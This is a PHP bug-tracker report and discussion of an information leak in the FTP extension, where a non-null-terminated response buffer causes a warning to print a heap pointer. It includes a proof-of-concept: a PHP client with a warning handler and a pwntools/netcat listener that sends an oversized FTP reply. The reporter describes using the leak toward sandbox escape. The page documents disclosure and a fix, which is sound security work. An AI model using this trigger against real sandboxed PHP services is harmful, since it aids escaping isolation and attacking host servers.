|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #80901 Info leak in ftp extension
Submitted: 2021-03-23 22:36 UTC Modified: 2021-04-21 16:23 UTC
From: zengyhkyle at asu dot edu Assigned: cmb (profile)
Status: Closed Package: FTP related
PHP Version: 7.4 OS: Linux
Private report: No CVE-ID: None
 [2021-03-23 22:36 UTC] zengyhkyle at asu dot edu
In ftp extension, it uses `struct ftpbuf` to keep track of the communication with a remote ftp server.
A simplified version of `struct ftpbuf` is listed as below
typedef struct ftpbuf

	char		inbuf[FTP_BUFSIZE];	/* last response text */
	char		*extra;			/* extra characters */
in `php-src/ftp.c`, inbuf is treated as a byte buffer, and it is not null-terminated. The function using it is `ftp_readline`.

If an attacker sends a request to his own server, the server can respond with a very long line which fails `ftp_readline`. At this moment, the buffer is fully filled.

The failure of `ftp_readline` triggers a failure in upper layer which eventually triggers `php_error_docref(NULL, E_WARNING, "%s", ftp->inbuf);` in `php_ftp.c`. It assumes `ftp->inbuf` is null-terminated while it is not.

And then it prints the `extra` pointer out to the attacker.
By carefully setup the warning handler, the attacker can intercept the leaked heap address for later exploitation.

This vulnerability is found by Yihui Zeng, Jayakrishna Menon, Steven Wirsz, and Gokul Krishna P from Arizona State University for class CSE598 Applied Vulnerability Research

Test script:
set_error_handler("warning_handler", E_WARNING);
function warning_handler($errno, $errstr) {
	echo "caught!\n";
	echo $errno;
	echo $errstr;
	echo "caught end!\n";

$conn = ftp_connect("", 8333);

$a = ftp_systype($conn);
from pwn import *

r = process(["/bin/nc", "-lvp", "8333"])
r.send("220 \n")
r.sendafter("SYST", "\n"+" "*4096)

Actual result:
$ ./php test.php 
Warning: ftp_systype():                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 a��=V in /home/hacker/test.php on line 6


Add a Patch

Pull Requests

Pull requests:

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2021-03-23 23:10 UTC]
-Status: Open +Status: Feedback
 [2021-03-23 23:10 UTC]
I am not completely sure which part is vulnerable. If the buffer is on the client, then do I understand correctly that the data displayed on the error message on the client is the part of client's memory? Or it is somehow sent to the server, or sever data somehow is sent to the client?
 [2021-03-24 10:13 UTC]
On a quick glance, it seems that would be fixed by
 [2021-03-27 18:46 UTC] zengyhkyle at asu dot edu
-Status: Feedback +Status: Open
 [2021-03-27 18:46 UTC] zengyhkyle at asu dot edu
yes. the pointer leaked is the client.
The exploit requires the client to receive a special message from a server, which can be done by communicating a server owned by the attacker.
 [2021-03-29 04:12 UTC]
-Status: Open +Status: Feedback
 [2021-03-29 04:12 UTC]
But the attacker does not get the information that is in the warning, so where's the attack? I am still not sure how the attack scenario would work. Say I set up a special FTP server, then trick somebody to connect to it, then what? I still can't see anything that happens on their end...
 [2021-03-30 19:22 UTC] zengyhkyle at asu dot edu
-Status: Feedback +Status: Open
 [2021-03-30 19:22 UTC] zengyhkyle at asu dot edu
The attack is not remote. It is for sandbox escape.
There are many sandboxed PHP runtime environments online for public use. An attacker can use this vulnerability to leak pointers by using the FTP functionality. If combined with another vulnerability, the attacker is able to escape from the sandbox and executes code on the server that runs the sandboxed php.
 [2021-04-13 10:15 UTC]
> The attack is not remote. It is for sandbox escape.

I don't think that we classify such issues as security issues.
Otherwise our security classification[1] wouldn't make much sense.

So how to proceed?  This is basically a duplicate of bug #79100,
and a suggested fix[2] is waiting for review.

[1] <>
[2] <>
 [2021-04-14 06:00 UTC]
-Type: Security +Type: Bug
 [2021-04-14 06:00 UTC]
Let's fix it in 7.4+
 [2021-04-21 15:23 UTC]
-Status: Open +Status: Verified -PHP Version: 8.0.4RC1 +PHP Version: 7.4 -Assigned To: +Assigned To: cmb
 [2021-04-21 15:23 UTC]
Oh, no, this is not related to bug #79100 at all.  I had a very
hard time to reproduce this, and finally found that it likely
cannot be triggered on a little-endian machine, since the struct
has a char* immediately after the inbuf, and its high byte is
likely zero, so actually there is no buffer overflow (furthermore,
prior to PHP 8.0.0, log_errors_max_len likely caused truncation of
the output anyway, so no buffer overflow would happen).  On
big-endian machines the outcome is likely different.
 [2021-04-21 16:23 UTC]
Correction: this is not related to endianess, but rather to struct
member alignment, so would affect Windows x86 builds, for
 [2021-04-22 12:16 UTC]
The following pull request has been associated:

Patch Name: Fix #80901: Info leak in ftp extension
On GitHub:
 [2021-04-26 12:47 UTC]
Automatic comment on behalf of cmb69
Log: Fix #80901: Info leak in ftp extension
 [2021-04-26 12:47 UTC]
-Status: Verified +Status: Closed
 [2021-04-26 13:10 UTC]
Automatic comment on behalf of cmb69
Log: Fix #80901: Info leak in ftp extension
PHP Copyright © 2001-2021 The PHP Group
All rights reserved.
Last updated: Wed Jun 16 17:01:24 2021 UTC